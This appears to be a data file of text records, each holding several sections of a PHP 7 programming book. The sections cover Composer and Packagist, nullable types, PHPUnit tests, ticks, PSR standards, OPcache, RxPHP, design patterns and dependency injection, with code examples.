Lucy mailer.onNext: logger.onNext: mailer.onCompleted logger.onCompleted Understanding Packagist Understanding Packagist Much like the Git and GitHub relationship, we have the Composer and Packagist relationship. While Composer itself is the actual tool, Packagist is the default repository service that provides packages for Composer. Service is easy enough to let us find packages we would like to use for our project. Without getting into the internals, it is suffice to say that the composer tool understands where to get the code for each of the packages hosted on Packagist. The Packagist repository service is hosted at https://packagist.org : The popularity of Composer over time can be easily observed through the https://packagist.org/statistics page, which shows the rapidly increasing number of packages in the Packagist repository over the course of few years:"},
    {"text": "Nullable types Nullable types Many programming languages allow some sort of optional or nullable types, depending on terminology. The PHP dynamic type already supports this notion via the built-in null type. A variable is considered to be of the null type if it has been assigned a constant value null, it has not been assigned any value, or it has been unset using the unset() construct. Aside from variables, the null type can also be used against the function parameters, by assigning them a default value of null. However, this imposed a certain limitation, as we could not declare a parameter that might be null without flagging it as optional at the same time. PHP 7.1 addressed this limitation by adding a leading question mark symbol ( ? ) to indicate that a type can be null, unless specifically assigned to some other value. This also means that type could be null and mandatory at the same type. These nullable types are now permitted pretty much anywhere where type declarations are permitted. The following is an example of the nullable type with a mandatory parameter value: function welcome(?string $name) { echo $name; } welcome(); // invalid welcome(null); // valid The first call to the welcome function throws an \\Error , because its declaration is making the parameter mandatory. Goes to say that the nullable type should not be mistaken with null being passed as a value. The following is an example of a nullable type with an optional parameter value, optional in the sense that it has been assigned a default value of null already: function goodbye(?string $name = null) { if (is_null($name)) { echo 'Goodbye!'; } else { echo \"Goodbye $name!\"; } } goodbye(); // valid goodbye(null); // valid goodbye('John'); // valid The following is an example of function declaration using the nullable return type: function welcome($name): ?string { return null; // valid } function welcome($name): ?string { return 'Welcome ' . $name; // valid } function welcome($name): ?string { return 33; // invalid } The nullable types work both with scalar types (Boolean, Integer, Float, String) and compound types (Array, Object, Callable)."},
    {"text": "Writing test Writing test Getting started with writing PHPUnit tests requires grasping a few basic concepts, such as the following: The setUp() method : Analogous to the constructor, this is where we create the objects against which we will perform the test. The tearDown() method : Analogous to the destructor, this is where we clean up objects against which we performed the test. The test*() methods : Every public method whose name begins with test, for example, testSomething() , testItAgain() , and so on, is considered a single test. The same effect can be achieved by adding the @test annotation in a method's docblock; although, this seems to be a less used case. The @depends annotation : This allows expressing dependencies between the test methods. Assertions : The heart of the PHPUnit, this set of methods allows us to reason about correctness. The vendor\\phpunit\\phpunit\\src\\Framework\\Assert\\Functions.php file contains an extensive list of the assert* function declarations, such as assertEquals() , assertContains() , assertLessThan() , and others, totaling to over 90 different assert functions. With these in mind, let's go ahead and write the src\\Foggyline\\Catalog\\Test\\Unit\\Model\\ProductTest.php file, with its content as follows: <?php namespace Foggyline\\Catalog\\Test\\Unit\\Model; use PHPUnit\\Framework\\TestCase; use Foggyline\\Catalog\\Model\\Product; class ProductTest extends TestCase { protected $product ; public function setUp() { $this -> product = new Product( 'SL' , 'Silver Laptop' , 4599.99 , 25 ); } public function testTitle() { $this ->assertEquals( 'Silver Laptop' , $this -> product ->getTitle() ); } public function testPrice() { $this ->assertEquals( 4599.99 , $this -> product ->getPrice() ); } } Our ProductTest class is using a setUp() method to set up an instance of a Product class. The two test*() methods then use the PHPUnit's built-in assertEquals() method to test the value of the product title and price. We then add the src\\Foggyline\\Catalog\\Test\\Unit\\Model\\CategoryTest.php file, with its content as follows: <?php namespace Foggyline\\Catalog\\Test\\Unit\\Model; use PHPUnit\\Framework\\TestCase; use Foggyline\\Catalog\\Model\\Product; use Foggyline\\Catalog\\Model\\Category; class CategoryTest extends TestCase { protected $category ; public function setUp() { $this -> category = new Category( 'Laptops' , [ new Product( 'TRL' , 'Test Red Laptop' , 1499.99 , 25 ), new Product( 'TYL' , 'Test Yellow Laptop' , 2499.99 , 25 ), ]); } public function testTotalProductsCount() { $this ->assertCount( 2 , $this -> category ->getProducts()); } public function testTitle() { $this ->assertEquals( 'Laptops' , $this -> category ->getTitle()); } } Our CategoryTest class is using a setUp() method to set up an instance of a Category class, along with the two products passed onto the Category class constructor. The two test*() methods then use the PHPUnit's built-in assertCount() and assertEquals() methods to test the instantiated values . We then add the src\\Foggyline\\Catalog\\Test\\Unit\\Block\\Category\\ViewTest.php file, with its content as follows: <?php namespace Foggyline\\Catalog\\Test\\Unit\\Block\\Category; use PHPUnit\\Framework\\TestCase; use Foggyline\\Catalog\\Model\\Product; use Foggyline\\Catalog\\Model\\Category; use Foggyline\\Catalog\\Block\\Category\\View as CategoryView; class ViewTest extends TestCase { protected $category ; protected $categoryView ; public function setUp() { $this -> category = new Category( 'Laptops' , [ new Product( 'TRL' , 'Test Red Laptop' , 1499.99 , 25 ), new Product( 'TYL' , 'Test Yellow Laptop' , 2499.99 , 25 ), ]); $this -> categoryView = new CategoryView( $this -> category ); } public function testCategoryTitle() { $this ->assertContains( '<h1 class=\"category-title\">Laptops' , $this -> categoryView ->render() ); } public function testProductsContainer() { $this ->assertContains( '<h1 class=\"product-title\">Test Yellow' , $this -> categoryView ->render() ); } } Our ViewTest class is using a setUp() method to set up an instance of a Category class, alongside with the two products passed onto the Category class constructor. The two test*() methods then use the PHPUnit's built-in assertContains() method to test the presence of the value that should be returned through the category view render() method call . We then add t he phpunit.xml file, with its content as follows: < phpunit bootstrap =\"autoload.php\" > < testsuites > < testsuite name =\"foggyline\" > < directory > src/Foggyline/*/Test/Unit/* </ directory > </ testsuite > </ testsuites > </ phpunit > The phpunit.xml configuration file supports quite a robust list of options. Using the bootstrap attribute of a PHPUnit element, we are instructing the PHPUnit tool to load the autoload.php file prior to running the tests. This ensures that our PSR4 autoloader will kick in, and that our test classes will see our classes within the src/Foggyline directory. The foggyline test suite we defined within testsuites uses the directory option to specify, in regex form, the path to our unit tests. The path we used was such so that all of the files under both src/Foggyline/Catalog/Test/Unit/ and possibly src/Foggyline/Checkout/Test/Unit/ directories are picked up. Check out https://phpunit.de/manual/current/en/appendixes.configuration.html for more information on phpunit.xml configuration options."},
    {"text": "Preface Preface The PHP language has been around for quite some time now. What started out as a humble set of scripts, soon turned into a powerful scripting language. The rise of various frameworks and platforms paved the way into the hearts of many developers. Over time, PHP coding standards sprung out, along with numerous testing solutions. These gave it the solid enterprise foothold it has today. The latest PHP 7.1 release brings forth enormous amount of improvements, both from the language syntax and overall performance perspective. There has never been a better time to dig into a PHP than now. Throughout this book, we will be covering a wide range of topics. These might seem seemingly random at first, but they reflect a minimum skill level PHP developers are required to possess nowadays. Ticks Ticks PCNTL relies on ticks for its signal handling callback mechanism. The official definition ( http://php.net/manual/en/control-structures.declare.php ) of a tick says: A tick is an event that occurs for every N low-level tickable statements executed by the parser within the declare block. The value for N is specified using ticks=N within the declare block's directive section. To elaborate on that, a tick is an event. Using the declare() language construct, we control how many statements it takes to set off a tick. We then use register_ tick_ function() to execute our function upon each fired tick . Ticks are basically a side-effect of a number of evaluated expressions; the side effect we can react to with our custom functions. While most of the statements are tickable, certain condition expressions and argument expressions are n ot. A statement is executed, while an expression is evaluated. Alongside the declare() language construct, PHP provides the following two functions to work with ticks: register_ tick_ function() : This registers a function to be executed on each tick unregister_ tick_ function() : This deregisters a previously registered function Let's take a look at the following example, where the declare() construct uses the {} blocks to wrap the expressions: <?php echo 'started' . PHP_EOL; function tickLogger() { echo 'Tick logged!' . PHP_EOL; } register_tick_function('tickLogger'); declare (ticks = 2) { for ($i = 1; $i <= 10; $i++) { echo '$i => ' . $i . PHP_EOL; } } echo 'finished' . PHP_EOL; This results in the following output: started $i => 1 $i => 2 Tick logged! $i => 3 $i => 4 Tick logged! $i => 5 $i => 6 Tick logged! $i => 7 $i => 8 Tick logged! $i => 9 $i => 10 Tick logged! finished This is pretty much what we would expect, based on the carefully wrapped expressions within the {} blocks of the declare() construct. A tick is being nicely fired every second iteration of the loop. Let's take a look at the following example, where the declare() construct is added as the first line of the PHP script without any {} blocks to wrap the expressions: <?php declare (ticks = 2); echo 'started' . PHP_EOL; function tickLogger() { echo 'Tick logged!' . PHP_EOL; } register_tick_function('tickLogger'); for ($i = 1; $i <= 10; $i++) { echo '$i => ' . $i . PHP_EOL; } echo 'finished' . PHP_EOL; This results in the following output: started Tick logged! $i => 1 Tick logged! $i => 2 Tick logged! $i => 3 Tick logged! $i => 4 Tick logged! $i => 5 Tick logged! $i => 6 Tick logged! $i => 7 Tick logged! $i => 8 Tick logged! $i => 9 Tick logged! $i => 10 Tick logged! Tick logged! finished Tick logged! The output here is not what we might expect at first. The N value, ticks = 2 , does not seem to be respected as the tick seems to be fired after each and every statement. Even the last finished output is followed by one more tick. Ticks provide the type of feature that may be useful to run monitoring, cleanup, notification, debugging, or other similar tasks. They should be used with utmost care, or else we might get some unexpected results, as we saw in the preceding example. Continuous integration Continuous integration The idea behind continuous integration is to bind together the building, testing, and releasing processes in an easy-to-oversee manner. As we mentioned before, the notion of building is a bit of a specific one when it comes to PHP, given the interpreted nature of the language itself; we are not talking about compiling code here. With PHP, we tend to relate it to various configurations required by our application. That being said, some of the strong points of continuous integration include the following: Automated code coverage and quality check through static code analysis Automation by running after each developer code push Automated faulty code detection through unit and behavior testing Reduced application release cycle Increased visibility across project There are a dozen of continuous integration tools to chose from, some of which include the following: PHPCI : https://www.phptesting.org Jenkins : http://jenkins-php.org Travis CI : https://travis-ci.org TeamCity : https://www.jetbrains.com/teamcity/ Bamboo : https://www.atlassian.com/software/bamboo AWS CodePipeline : https://aws.amazon.com/codepipeline/ It would be unfair to say one of these tools is better than the others. Though Jenkins seems to resurface slightly more than others when it comes to PHP."},
    {"text": "PSR-13 - hypermedia links PSR-13 - hypermedia links The hypermedia links form an essential part of any web application, whether we are speaking about HTML or API formats. At the very minimum, each hypermedia link consists of a URI representing the target resource and a relationship defining how the target resource relates to the source. The target link must be an absolute URI or a relative URI, as defined by RFC 5988, or possibly a URI template as defined by RFC 6570. The PSR-13 standard defines a series of interfaces that outline a common hypermedia format and a way to represent links between these formats: Psr\\Link\\LinkInterface Psr\\Link\\EvolvableLinkInterface Psr\\Link\\LinkProviderInterface Psr\\Link\\EvolvableLinkProviderInterface These interfaces can be fetched via Composer as a part of the psr/link package. The following code snippet reflects the PSR-13 Psr\\Link\\LinkInterface definition, which represents a single readable link object: <?php namespace Psr\\Link; interface LinkInterface { public function getHref(); public function isTemplated(); public function getRels(); public function getAttributes(); } The following code snippet reflects the PSR-13 Psr\\Link\\ LinkProviderInterface definition, which represents a single link provider object: <?php namespace Psr\\Link; interface LinkProviderInterface { public function getLinks(); public function getLinksByRel($rel); } The following code snippet reflects the PSR-13 Psr\\Link\\EvolvableLinkInterface definition, which represents a single evolvable link value object: <?php namespace Psr\\Link; interface EvolvableLinkInterface extends LinkInterface { public function withHref($href); public function withRel($rel); public function withoutRel($rel); public function withAttribute($attribute, $value); public function withoutAttribute($attribute); } The following code snippet reflects the PSR-13 Psr\\Link\\EvolvableLinkProviderInterface definition, which represents a single evolvable link provider value object: <?php namespace Psr\\Link; interface EvolvableLinkProviderInterface extends LinkProviderInterface { public function withLink(LinkInterface $link); public function withoutLink(LinkInterface $link); } here means that object instances of these interfaces exhibit the same behavior as those in PSR-7. By default, objects need to be immutable. The moment an object state needs to change, that change should be reflected into a new object instance. Thanks to PHP's copy-on-write behavior, this is easy for the class to implement. The copy-on-write behavior is a built-in mechanism of PHP code, whereas PHP takes care of avoiding unnecessary variable duplicates. Until one or more bytes of variable are changed, the variable is not being copied. The official, full-length PSR-13: Hypermedia Links guide is available at http://www.php-fig.org/psr/psr-13/ . Querying via the MongoDB driver extension Querying via the MongoDB driver extension We need to make sure we have the PHP CLI and MongoDB driver extension installed: sudo apt-get -y install php-pear sudo apt-get -y install php7.0-dev sudo apt-get -y install libcurl4-openssl-dev pkg-config libssl-dev libsslcommon2-dev sudo pecl install mongodb Upon successful execution of these commands, we can confirm that the mongodb driver extension is installed, as shown in the following screenshot: Aside from the driver extension, we also need a mongodb/mongodb composer package added to our project directory. We can do so by running the following console command: sudo apt-get -y install composer composer require mongodb/mongodb Assuming we have the mongo.php file within our project directory, all it takes is to load the MongoDB library, and start working with Mongo database: <?php require_once __DIR__ . '/vendor/autoload.php' ; // Code..."},
    {"text": "About the Author About the Author Branko Ajzele is an internationally respected and highly accomplished software developer, book author, solution specialist, consultant, and team leader. Strong technical knowledge coupled with the ability to communicate those technicalities frequently and clearly with strong direction has enabled him to architect, develop, and launch numerous successful businesses. He often feels comfortable proposing alternatives to demands that he feels can be improved, even when it means pulling a late shift to meet deadlines. He holds several respected IT certifications, such as Zend Certified PHP Engineer, Magento Certified Developer, Magento Certified Developer Plus, Magento Certified Solution Specialist, and a few more. Branko was crowned E-commerce Developer of the Year by Digital Entrepreneur Awards in October 2014 for his excellent knowledge and expertise in e-commerce development. His work is second to none, and he is truly dedicated to helping fellow developers around the world. He currently works as a full-time contractor for Lab Lateral Ltd, an award-winning team of innovative thinkers, artists, and developers specializing in customer-centric websites, digital consultancy, and marketing. Here, he holds the role of a lead developer and the head of Lab's Croatia office. The book, Instant E-Commerce with Magento: Build a Shop , by Packt was his first Magento-related book oriented toward Magento newcomers, after which he decided to write his second book, Getting Started with Magento Extension Development . The third book, Magento 2 Developers Guide , was released days after the official Magento 2 release. His fourth book, Modular Programming with PHP 7 , describes modular design techniques to help developers build readable, manageable, reusable, and more efficient code, and doing so on a mini web shop application written in the Symfony framework. Zend OPcache Zend OPcache One major downside of PHP is that it loads and parses the PHP script on every request. Written in plain text, the PHP code is first compiled to opcodes, then the opcodes are executed. While this performance impact might not be noticeable with small applications that have one or few scripts in total, it makes a big difference with larger platforms, such as Magento, Drupal, and so on. Starting from PHP 5.5, there is an out-of-the-box solution to this problem. The Zend OPcache extension addresses the repetitive compilation issue by storing the compiled opcodes in shared memory (RAM). Turning it on or off is simply a matter of changing the configuration directive. There are quite a few configuration directives, a few of which will get us started: opcache.enable : This defaults to 1 and is changeable via PHP_INI_ALL . opcache.enable_cli : This defaults to 0 and is changeable via PHP_INI_SYSTEM . opcache.memory_consumption : This defaults to 64 and is changeable via PHP_INI_SYSTEM , which defines the size of shared memory used by OPcache. opcache.max_accelerated_files : This defaults to 2000 and is changeable via PHP_INI_SYSTEM , which defines the maximum number of keys/scripts in the OPcache hash table. Its maximum value is 1000000. opcache.max_wasted_percentage : This defaults to 5 and is changeable via PHP_INI_SYSTEM , which defines the maximum percentage of wasted memory allowed before scheduling a restart. While opcache.enable is flagged as PHP_INI_ALL , using ini_set() to enable it at runtime won't work. Only disabling it with ini_set() will work . Although fully automated, Zend OPcache also provides a few functions for us to use: opcache_compile_file() : This compiles and caches a script without executing it opcache_get_configuration() : This fetches the OPcache configuration information opcache_get_status() : This fetches the OPcache information opcache_invalidate() : This invalidates OPcache opcache_is_script_cached() : This tells us if the script is cached via OPcache opcache_reset() : This resets the OPcache cache While it is unlikely we will use these methods on our own, they do come in handy for utility tools that deal with OPcache for us. The opcache-gui tool shows OPcache statistics, settings, and cached files whilst providing a real-time update. This tool is available for download at https://github.com/amnuts/opcache-gui . One thing to be wary about with OPcache is its potential cache slam problem. Using the memory_consumption , max_accelerated_files , and max_wasted_percentage configuration directives, OPcache determines when it is time to flush the cache. When this happens, servers with large amounts of traffic are likely to experience a cache slam problem, with lots of requests simultaneously generating the same cache entries. Therefore, we should try to avoid frequent cache flushing. To do so, we can use the cache monitoring tool and tune the three configuration directives to suit our application size. Questions Questions If you have a problem with any aspect of this book, you can contact us at questions@packtpub.com , and we will do our best to address the problem."},
    {"text": "DivisionByZeroError DivisionByZeroError Division by zero is an undefined mathematical expression, at least in elementary arithmetic; hence, PHP needed a way to respond to such cases. DivisionByZeroError is thrown when we try to divide a number by zero. The DivisionByZeroError class has no methods of its own, they are all inherited from the parent ArithmeticError class, as per the following class synopsis: DivisionByZeroError extends ArithmeticError { final public string Error::getMessage (void) final public Throwable Error::getPrevious (void) final public mixed Error::getCode (void) final public string Error::getFile (void) final public int Error::getLine (void) final public array Error::getTrace (void) final public string Error::getTraceAsString (void) public string Error::__toString (void) final private void Error::__clone (void) } We need to be careful what expression we are using for division. Simply dividing dividend number with 0 divisor number using the / operator will not yield the same result as using the intdiv() function. Consider the following code snippet: <?php try { $x = 5 / 0; } catch (DivisionByZeroError $e) { echo 'Caught: ' . $e->getMessage(); } The preceding example will not trigger the DivisionByZeroError catch block. Instead, the following warning is raised. PHP Warning: Division by zero Using the intdiv() function instead of the / operator will trigger the catch block as shown in the following code snippet: <?php try { $x = intdiv(5, 0); } catch (DivisionByZeroError $e) { echo 'Caught: ' . $e->getMessage(); } The intdiv() function throws the DivisionByZeroError exception if the divisor is 0 . If the dividend is PHP_INT_MIN and the divisor is -1 , then an ArithmeticError exception is thrown, as shown in the preceding section. Using __unset() Using __unset() The __unset() magic method is triggered by calling the unset() language constructs on inaccessible properties. The method accepts a single parameter, as per the following synopsis: public bool __unset(string $name) The $name argument is the name of the property being interacted with. Let's take a look at the followi ng object contex t example: <?php class User { private $data = [ 'name' => 'John', 'age' => 34, ]; public function __unset($name) { unset($this->data[$name]); } } $user = new User(); var_dump($user); unset($user->age); unset($user->salary); var_dump($user); The User class declares a single private $data array property, alongside the __unset() magic method. The method itself is quite simple; it merely calls for the unset() passing it the value at a given array key. We are trying to unset to the $age and $salary properties here. The $salary property does not really exist, neither as a class property nor as a data array key. Luckily, unset() won't throw an Undefined index notice type of error, so we do not need additional array_key_exists() checks. The following resulting output shows the $age property being removed from the object instance: object(User)#1 (1) { [\"data\":\"User\":private]=> array(2) { [\"name\"]=> string(4) \"John\" [\"age\"]=> int(34) } } object(User)#1 (1) { [\"data\":\"User\":private]=> array(1) { [\"name\"]=> string(4) \"John\" } } We should not confuse the use of the unset() construct with the (unset) casting. These two are different operations, and as such the (unset) casting will not trigger the __unset() magic unset($user->age); // will trigger __unset() ((unset) $user->age); // won't trigger __unset() Summary Summary Throughout this chapter, we took a look at two of the most common and well-established web services: SOAP and REST. We also looked into a rising new star called Apache Thrift. Once we pass the barrier of initial Apache Thrift installation and setup, features such as simplicity, scalability, speed, and portability certainly come into focus. As we saw in our client example, the RPC calls can easily be implemented with a central code repository--the thrift-service/gen-php/ directory in our case. While Apache Thrift has yet to catch up in terms of popularity, the fact that it is being used by the likes of Facebook, Evernote, Pinterest, Quora, Uber, and other well-known names, certainly speaks for itself. This is not to say that future-wise SOAP or REST are less important. Choosing the right type of service is a matter of careful planning and forward thinking . Finally, we glossed over some of the key points of an emerging a new architectural style called microservices. Moving forward, we will take a closer look at working with some of the most commonly used databases in PHP applications: MySQL, Mongo, Elasticsearch, and Redis."},
    {"text": "Distributing your package Distributing your package We first need to push composer.json and our library code from within src/Foggyline/MP7/ , into the GitHub repository. Assuming we have an empty GitHub repository, such as git@github.com:ajzele/foggyline_mp7.git , waiting for us, we can easily do so through the following few commands: git init git remote add origin git@github.com:ajzele/foggyline_mp7.git git add composer.json git add src/Foggyline/MP7/ git commit -m \"Initial commit\" git push origin master This should show up in GitHub, as follows: With the files in the GitHub repository, we can now visit the https://packagist.org page and Submit our package: Once the Check is done, we should be able to see a screen similar to the following one: Once we hit the Submit button, we should be able to see a screen similar to the following one: We should now be able to use the foggyline/mp7 package within any project just by running the following console command: composer require foggyline/mp7:dev-master Notice the dev-master suffix here. Our package is flagged as dev-master only. This is because our https://github.com/ajzele/foggyline_mp7 repository has no tags defined on it. Let's go ahead and add a v1.5 tag to our repository. We will do so by running the following console commands: git tag -a v1.5 -m \"my version 1.4\" 648e31cc4a git push origin v1.5 Since we are adding a tag to an already made commit, we use the commit ID 648e31cc4a to attach the tag to it. Once the tag is pushed to the GitHub repository, we can go back to Packagist and hit the Update button on the package edit screen. This should instantly update the package versions list to show v1.5 : Assuming we have some project directory with merely an index.php file within it, we should be able to use the foggyline/mp7 package by running the following console command: composer require foggyline/mp7 This should result in a directory structure, as follows: The index.php script can then start using our MP7 library just by including /vendor/autoload.php . Using RxPHP Using RxPHP Originally developed by Microsoft for the .NET platform, a set of libraries named ReactiveX ( reactive extensions ) is available at http://reactivex.io . ReactiveX allows us to write asynchronous and event-based programs using observable sequences. They do so by abstracting away low-level concerns such as non-blocking I/O, which we will talk about later. Over time, several programming languages made their own implementations of ReactiveX, following a nearly identical design pattern. The PHP implementation, named RxPHP, can be downloaded from https://github.com/ReactiveX/RxPHP : Summary Summary Throughout this chapter, we took a look at PHP's most popular package manager--Composer. We saw how easy it is to add third-party packages to our application, as well as distribute our own packages using the Packagist repository. A great deal of modern PHP applications rely on Composer, which is why understanding how to make the best of it is crucial to our day-to-day development efforts. Moving forward, we will take a look at the types of testing applicable to PHP applications. The registry pattern The registry pattern The registry pattern is an interesting one. It allows us to store and retrieve objects for later use. The process of storing and retrieving is based on the keys we define. Depending on the data scope, the association of keys and objects is made global across a process, thread, or a session, allowing us to retrieve the objects from anywhere within the data scope . The following example demonstrates a po ssible registry pattern implementation: <?php class Registry { private $registry = []; public function get( $key ) { if ( isset ( $this -> registry [ $key ])) { return $this -> registry [ $key ]; } return null ; } public function set( $key , $value , $graceful = false ) { if ( isset ( $this -> registry [ $key ])) { if ( $graceful ) { return ; } throw new \\RuntimeException( 'Registry key \"' . $key . '\"already exists' ); } $this -> registry [ $key ] = $value ; } public function remove( $key ) { if ( isset ( $this -> registry [ $key ])) { unset ( $this -> registry [ $key ]); } } public function __destruct() { $keys = array_keys ( $this -> registry ); array_walk ( $keys , [ $this , 'remove' ]); } } // Client use class User { public $name ; } $user1 = new User(); $user1 -> name = 'John' ; $user2 = new User(); $user2 -> name = 'Marc' ; $registry = new Registry(); $registry ->set( 'employee' , $user1 ); $registry ->set( 'director' , $user2 ); echo $registry ->get( 'director' )-> name ; // Marc Our Registry class implementation has three key methods: get() , set() , remove() . The set() method allows graceful behavior based on the $graceful parameter; otherwise, it triggers the RuntimeException for the existing key. We also defined a __destruct method, as a sort of a cleanup mechanism that removes each item in the registry when the $registry instance is destroyed."},
    {"text": "Observables and event loop Observables and event loop Let's go ahead and see how we can make our observables work with an event loop: <?php require_once __DIR__ . '/vendor/autoload.php' ; use \\React\\EventLoop\\Factory; use \\Rx\\Scheduler; use \\Rx\\Observable; use \\Rx\\Subject\\Subject; use \\Rx\\Scheduler\\EventLoopScheduler; $loop = Factory:: create (); Scheduler:: setDefaultFactory ( function () use ( $loop ) { return new Scheduler\\EventLoopScheduler( $loop ); }); $stdin = fopen ( 'php://stdin' , 'r' ); stream_set_blocking ( $stdin , 0 ); $observer = new class () extends Subject { public function onCompleted() { echo '$observer.onCompleted: ' , PHP_EOL ; parent :: onCompleted (); } public function onNext( $val ) { echo '$observer.onNext: ' , $val , PHP_EOL ; parent :: onNext ( $val ); } public function onError(\\Throwable $error ) { echo '$observer.onError: ' , $error ->getMessage(), PHP_EOL ; parent :: onError ( $error ); } }; $loop = Factory:: create (); $scheduler = new EventLoopScheduler( $loop ); $disposable = Observable:: interval ( 500 , $scheduler ) ->map( function () use ( $stdin ) { return trim ( fread ( $stdin , 1024 )); }) ->filter( function ( $str ) { return strlen ( $str ) > 0 ; }) ->subscribe( $observer ); $observer ->filter( function ( $value ) { return $value == 'quit' ; })->subscribeCallback( function ( $value ) use ( $disposable ) { echo 'disposed!' , PHP_EOL ; $disposable ->dispose(); }); $loop ->run(); There is quite a lot going on here. We started off by creating a standard input and then flagging it as non-blocking. We then created the observer of the Subject type. This is because, as we will see later, we want our observer to behave like observer and observable. We then instantiated the loop, and passed onto EventLoopScheduler . In order for observables to work with the loop, we need to wrap them with a scheduler. We then used the instance of IntervalObservable , making its map() operator read the standard input, whereas the filter() operator was set to filter out any empty inputs (pressing Enter key on console with no text). We stored this observable into a $disposable variable. Finally, given that our $observer was an instance of Subject , we were able to attach the filter() operator to it as well as subscribeCallback() . We instructed the filter() operator here to only filter out the input with the quit string. Once quit was typed onto the console, followed by the Enter key, subscribeCallback() was executed. Within subscribeCallback() , we have a $disposable->dispose() expression. Calling the disposable's dispose method automatically unsubscribed $observer from $observable . Given that there were no other timers or streams within the loop, this automatically terminated the loop. The following screenshot shows the console output of the preceding code: When the code was run, we first saw the start string, then we typed in John and press , then we say $observer.onNext... , which repeated all the way until we typed quit . The React event loop opens an interesting possibility for us, much like we are used to seeing in JavaScript and browser. While there is much more to be said about React, this should be enough to get us started with RxPHP and React combination. Hosting, Provisioning, and Deployment Hosting, Provisioning, and Deployment Hosting, provisioning, and deployment are admittedly three very distinct activities that often go hand in hand with the overall application life cycle management . Whereas, some types of hosting solutions make it near impossible to achieve seamless deployments, others make it an ultimately joyful and time-effective experience for developers. This brings us to the most important point of all, which is, Why would developers even bother with these system operations things ? There are plenty of answers for this one. Whereas, the real sales pitch is simple as : market demands it. Nowad ays, developers are tangled in a web of multidisciplinary activities, which often goes beyond coding skills itself and into system operations at some level. The not my job mantra is all but reserved for us here, which is ultimately alright, as having a strong knowledge about activities supporting an entire application life cycle makes us more responsive in the face of possible outages. In this chapter, we will take a high-level overview on some of these activities through the following few sections: Choosing the right hosting plan Automating provisioning Automating deployment Continuous integration"},
    {"text": "Mitigating the common problem Mitigating the common problem The dependency injection is a well-established software technique that deals with the problem of object dependencies, allowing us to write loosely coupled classes. While the pattern itself has been around for quite some time, the PHP ecosystem hasn't really picked it up until major frameworks such as Symfony started implementing it. Nowadays, it is a de facto standard for anything other than trivial types of application. The whole dependency problem is easily observed through a simple example: <?php class Customer { protected $name ; public function loadByEmail( $email ) { $mysqli = new mysqli( '127.0.0.1' , 'foggy' , 'h4P9niq5' , 'sakila' ); $statement = $mysqli ->prepare( 'SELECT * FROM customer WHERE email = ?' ); $statement ->bind_param( 's' , $email ); $statement ->execute(); $customer = $statement ->get_result()->fetch_object(); $this -> name = $customer -> first_name . ' ' . $customer -> last_name ; return $this ; } } $customer = new Customer(); $customer ->loadByEmail( 'MARY.SMITH@sakilacustomer.org' ); Here, we have a simple Customer class with a single loadByEmail() method. The troubling part is the dependency on the database $mysqli object being locked in a loadByEmail() instance method. This makes for tight coupling, which reduces code reusability and opens the door for possible system-wide side-effects to be induced by later code changes. To mitigate the problem, we need to inject the database $mysqli object into $customer . The MySQL Sakila database can be obtained from https://dev.mysql.com/doc/sakila/en/ . There are three ways to inject the dependency into an object : Throug h an instance method Through a class constructor Through instance property Whereas the instance method and class constructor approach seem slightly more popular than instance property injection. The following example demonstrates the approach of using a n instance method for dependency injection: <?php class Customer { public function loadByEmail( $email , $mysqli ) { // ... } } $mysqli = new mysqli( '127.0.0.1' , 'foggy' , 'h4P9niq5' , 'sakila' ); $customer = new Customer(); $customer ->loadByEmail( 'MARY.SMITH@sakilacustomer.org' , $mysqli ); Here, we are injecting an instance of the $mysqli object into an instance of the Customer object through the customer's loadByEmail() instance method. While this is certainly a better way than instantiating the $mysqli object within the loadByEmail() method itself, it is easy to imagine how quickly our client code might become clumsy if our class were to have a dozen of methods, each requiring different objects to be passed to it. While this approach might seem tempting, injecting dependencies through instance methods violates OOP's principle of encapsulation. Furthermore, adding arguments to methods for the sake of dependency is anything but an example of best practice. Another approach would be to utilize the class constructor method as per the following example: <?php class Customer { public function __construct( $mysqli ) { // ... } public function loadByEmail( $email ) { // ... } } $mysqli = new mysqli( '127.0.0.1' , 'foggy' , 'h4P9niq5' , 'sakila' ); $customer = new Customer( $mysqli ); $customer ->loadByEmail( 'MARY.SMITH@sakilacustomer.org' ); Here, we are injecting an instance of the $mysqli object into an instance of the Customer object through the customer's __constructor() method. Whether a single or a dozen objects are being injected, the constructor injection comes out as the clear winner here. The client application has a single entry point for all injections, making it easy to keep a track of things. Without the notion of dependency injection, a loosely coupled code would be impossible to achieve."},
    {"text": "PSR-4 - autoloading standard PSR-4 - autoloading standard To this date, the PHP-FIG group has released two autoloading standards. Predating PSR-4 was PSR-0. It was the first standard released by the PHP-FIG group. Its class naming had certain backward compatibility features aligned with an even older PEAR standard. Whereas, each level of the hierarchy was separated with a single underscore, indicating pseudo-namespaces and directory structure. The PHP 5.3 release then brought official namespace support to the language. PSR-0 allowed both the old PEAR underscore mode and the use of the new namespace notation. Allowing the underscores for some time to follow eased the transition to namespaces and encouraged wider adoption. Pretty soon, Composer came on the scene. Composer is a popular dependency manager for PHP that deals with packages and libraries by installing them in a vendor/ directory of our project. With Composer's vendor/ directory philosophy, there was no single main directory for PHP sources as with PEAR. PSR-0 became a bottleneck and was marked as deprecated as of October 2014. PSR-4 is the recommended autoloading standard nowadays. According to PSR-4, a fully qualified class name now has the form as per the following example: \\<NamespaceName>(\\<SubNamespaceNames>)*\\<ClassName> The term class here does not just refer to classes. It also refers to interfaces , traits , and other similar structures. To put this into context, let's take a look at the partial class code taken from the Magento 2 commerce platform, which is shown as follows: <?php namespace Magento\\Newsletter\\Model; use Magento\\Customer\\Api\\AccountManagementInterface; use Magento\\Customer\\Api\\CustomerRepositoryInterface; class Subscriber extends \\Magento\\Framework\\Model\\AbstractModel { // ... public function __construct( \\Magento\\Framework\\Model\\Context $context, \\Magento\\Framework\\Registry $registry, \\Magento\\Newsletter\\Helper\\Data $newsletterData, \\Magento\\Framework\\App\\Config\\ScopeConfigInterface $scopeConfig, \\Magento\\Framework\\Mail\\Template\\TransportBuilder $transportBuilder, \\Magento\\Store\\Model\\StoreManagerInterface $storeManager, \\Magento\\Customer\\Model\\Session $customerSession, CustomerRepositoryInterface $customerRepository, AccountManagementInterface $customerAccountManagement, \\Magento\\Framework\\Translate\\Inline\\StateInterface $inlineTranslation, \\Magento\\Framework\\Model\\ResourceModel\\AbstractResource $resource = null, \\Magento\\Framework\\Data\\Collection\\AbstractDb $resourceCollection = null, array $data = [] ) { // ... } // ... } The preceding Subscriber class is defined within the Subscriber.php file present at vendor\\Magento\\module-newsletter\\Model\\ , relative to the root of the Magento project. We can see __construct using all sorts of fully classified class names. The Magento platform has these types of robust constructors all over its codebase because of the way it handles dependency injection. We can imagine the amount of additional code needed to 